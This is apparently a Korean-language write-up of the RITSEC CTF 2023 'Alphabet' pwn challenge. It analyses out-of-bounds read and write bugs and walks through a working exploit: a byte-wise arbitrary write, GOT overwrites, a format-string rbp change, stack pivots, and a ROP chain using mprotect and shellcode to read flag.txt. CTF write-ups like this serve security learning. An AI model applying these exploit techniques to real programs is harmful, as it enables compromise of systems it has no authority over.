RITSEC CTF 2023 - Alphabet (oob read, write)
This new protocol let’s you update the official English alphabet in real time! Easy as A#_
nc alphabet.challenges.ctf.ritsec.club 1337
- [21 solves / 500 points]
웬만한 씨텝은 취약점 찾는 것보다 익스가 훨씬 더 어려운 것 같다.. ㅠㅠ 이 문제가 근래 풀어본 문제 중에 익스가 가장 힘들고 어려웠다.
Analysis
먼저 main
함수이다.
참고로 seccomp이 있어서 확인해야 한다. 대충 flag.txt orw
해야하고 mprotect
함수가 허용되어 있다.
1 | int __cdecl __noreturn main(int argc, const char **argv, const char **envp) |
주석은 익스와 관련된건데.. 일단 무시하고 코드 분석을 해보자. fgets
함수로 0x2D 크기만큼 buf
에 입력을 받아서 오버플로우는 일어나지 않는다. \n
이 오면 break
하고 입력한 size와 함께 use_packet
함수를 실행한다. size가 44보다 크면 v3
변수가 정의되지 않으니 조심하자. 익스할 때 fgets@got
를 gets
함수로 덮었었는데 v3
변수가 정의되지 않아 익스 코드에서 억지로 정의해줬다.
use_packet
함수를 살펴보자.
1 | void __fastcall use_packet(char *buf, int len) |
처음 if문으로 이것저것 검사한다. 입력값의 첫 글자는 Z
여야 한다. 두 번째 글자는 \x08
이어야 한다. 그리고 calc_checksum
함수로 입력값의 마지막 글자를 검사하고 있다. 익스 코드 짤 때 python으로 calc_checksum
함수를 구현해서 마지막 글자 한 바이트를 넣어주자. 그 다음 글자는 buf
의 index로 사용하고 있고, 마지막에는 bss
영역에 값을 복사해주고 있다. payload를 보내야하는 형식은 아래와 같다. (구조체 정리)
1 | payload = b'Z\x08' |
idx1
과 idx2
크기 제한을 하고 있는데, 음수는 제한하지 않아 oob를 의심할 수 있다. (그래서 위의 구현에서 signed=True
를 사용했다.)
이제 취약점을 찾아보자. *ptr = *&buf[idx1 + 18];
이 라인으로 *ptr
을 정의해주는데 바로 아래 줄에서 printf
로 ptr
을 출력해주기 때문에 스택에 있는 주소를 leak할 수 있다.(oob read) 그리고 *&buf[idx2 + 18] = *ptr;
이 라인을 통해 oob write가 발생할 수 있다. 자. 이 두 취약점이 발생할 수 있는 이유는 idx1
와 idx2
가 우리의 입력값이고, 이 입력값 인덱스를 검증하지 않아서 buf
에서 벗어난 곳에 접근할 수 있기 때문이다.
oob write는 익스할 때 아래처럼 구현해서 사용했다.
1 | def aawb(addr, val): |
1 | *ptr = *&buf[idx1 + 18]; |
입력값이 idx2
니까 payload
에서 idx2
에 들어갈 부분은 ptr - buf - 18
이다. 위의 내가 만든 python 함수 aawb
에서는 ptr
을 addr
로 지정했다. 이 위치에 들어갈 값은 idx1
에 따라 결정되는데 이것은 libc
에서 /bin/sh
문자열을 찾는 것처럼 next(libc.search(bytes([val])) - buf - 18
로 작성해주었다. - buf - 18
을 해준 이유는 idx2
에 들어갈 값을 찾는 것과 동일한 원리이다. 참고로 next(libc.search(bytes([val]))
은 libc
에서 val
값을 찾는 것인데, val
은 한 바이트이다.
왜 한 바이트씩 찾아서 값을 써줄까? 만약 x 주소
에 0x41424344
이라는 값을 쓰고 싶다고 하자. 이를 위해서 0x41424344이 저장된 주소
를 찾아야 한다. 하지만 저 값이 저장된 주소는 찾기가 힘들 수도 있다. 그래서 한 바이트씩 찾아 써주는 것이다. 전체 값을 쓰기 위해서 aaw
라는 함수를 정의했고 쓰고 싶은 값 길이만큼 aawb
를 호출해서 값을 쓴다.
문제에서 while(1)
로 입력값을 계속 쓸 수 있어서 이와 같은 발상이 가능했다.
마지막으로 우리가 python으로 구현해야할 calc_checksum
이다.
1 | __int64 __fastcall calc_checksum(const void *buf, int size) |
xor을 두 번하면 원래대로 돌아오는 성질을 이용하면 된다.
1 | def calc_checksum(data): |
Solve
- stack과 libc base를 구한다.
- 직접 구현한
aaw
함수를 이용하여 rop payload를bss
영역에 써준다.
- 왜 이런 payload를 썼는지는 아래에서 이해할 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15bss = 0x404800 # bss의 정중앙
# (!)
rop_payload = b''
rop_payload += p64(libc.sym['gets'])
rop_payload += p64(libc.sym['printf'])
rop_payload += p64(ret)
rop_payload += p64(0x42424243)
rop_payload += p64(0x42424244) # 404820
# (!!)
rop_payload += p64(pop_rsp) # <----!!!
rop_payload += p64(buf + 0x50) # 두 번째 스택 피봇팅
aaw(bss, rop_payload)
got
들을 덮어준다.
free@got -> printf
,__stack_chk_fail@got -> ret
,fgets@got -> gets
- 이를 위해 bss 영역에
p64(libc.sym['gets'])
,p64(libc.sym['printf'])
,p64(ret)
을 써주었다.(!)
- got를 덮을 때는
aaw
함수를 사용하지 않고 바로 paylaod를 보내서 덮어주었다. (쓸 필요성 못 느낌) - 왜냐하면
fgets@got
를gets
함수로 덮을 때 만약 한 바이트씩 덮게 된다면 한 바트씩 바뀐 잘못된 주소를 호출하기 때문이다. fgets@got -> gets
덮을 때b'a' * 0x12
을 추가로 보내주었다. 왜냐하면free@got
을 덮어서printf
로 덮어서 fsb가 발생하는 것을 노렸는데, 만약 저 더미데이터를 보내주지 않으면 글자수가 17자로fsb
로 값을 쓰기엔 턱없이 부족하기 때문에 혹시몰라 더미데이터도 함께 보내주었다.
(현재 상황) main
함수에서 fgets
대신 gets
가 실행되므로 bof
가 터짐! (카나리때문에 추가적으로 __stack_chk_fail@got
을 ret
으로 덮어줌!) calc_checksum
함수에서 fgets
함수 대신 printf
가 실행되므로 fsb
가 터짐!
fsb
를 이용하여rbp
를 변경하여 흐름을bss
영역으로 돌린다. 이bss
영역은 2번에서 적은 부분(!!)
이고pop_rsp
를 실행할 것이다. (스택 피봇팅 1) <- 참고로 여기서 흐름이bss
영역으로 바뀌어서, 즉rbp
가bss
영역의 주소로 바뀌어서 조금 안좋은 일이 일어날 수 있다. 이는 맨 마지막에 이야기한다.***
>
fsb
는calc_checksum
함수에서 터진다. 이 함수안에서의rbp
는calc_checksum
함수를 호출한use_packet
의rbp
가 저장된 스택 주소이다.buf
와 위 스택 주소의 offset은 0x90이다.0x404820
으로rbp
를 변경시키기 위해ln
을 이용하여0x20
을 8 바이트 쓰고hn
을 이용하여0x4048
을 2 바이트 쓰자.1
2
3
4
5
6
7
8
9
10
11
12
13
14payload = b'Z\x08' # 이걸 안하면 calc_checksum의 free(printf)가 호출이 안됨
payload += b'%30c%38$ln%16424c%39$hn'
payload = payload.ljust(0x40, b'a')
payload += p64(stack - 0x90)
payload += p64(stack - 0x90 + 1)
# (!!!)
payload += p64(pop_rdi) + p64(0x404000)
payload += p64(pop_rsi) + p64(0x100)
payload += p64(pop_rdx_r12) + p64(0x7) + p64(0)
payload += p64(libc.sym['mprotect']) # 실행할수 있도록 권한 바꿔주고
payload += p64(pop_rdi) + p64(0x404c00)
payload += p64(libc.sym['gets']) # 여기에 쉘코드 입력 후
payload += p64(0x404c00) # 점프
- 그럼 이제 흐름이
bss
영역의 아래 코드로 바뀌는데, 4번에서 스택에 써준 코드(!!!)
로 이동한다. (스택 피봇팅 2) - 마지막으로
mprotect
함수로 bss 영역 실행가능하게 설정해주고gets
함수가 실행되니flag.txt
orw하는 쉘코드를 보내주자.
***
calc_checksum
함수에서 fsb
를 이용하여 rbp
를 bss
영역으로 바꿔주었다. 여기까진 괜찮은데 그 다음 입력에서 문제가 발생할 수도 있다. (실제로 발생했다.) 지금 흐름 상황에서는 if문 안으로 들어가면 안된다.
1 | if ( /* 이미 진행됨 */ && calc_checksum(buf, len) == buf[len - 1] /* 마지막 바이트 검사*/ ) |
의도하지 않은 상황이 발생할 수도 있으므로 익스하는데 필요하지 않은 코드는 최대한 실행시키지 말자는 생각을 가져야 한다. 사실상 마지막 바이트 검사는 틀릴 것이고 중요한 것은 buf
와 len
을 rbp
를 기준으로 참조하기 때문에 위험하다. 그래서 아래 노란색으로 음영진 주소에서 터진다.
그래서 실제로 터진 주소(rbp-0x48
)에는 접근 가능한 적당한 주소 넣어주고 len
에는 1을 넣어줬다.
1 | aaw(0x404820 - 0x4c, p32(1)) # len |
Exploit Code
1 | from pwn import * |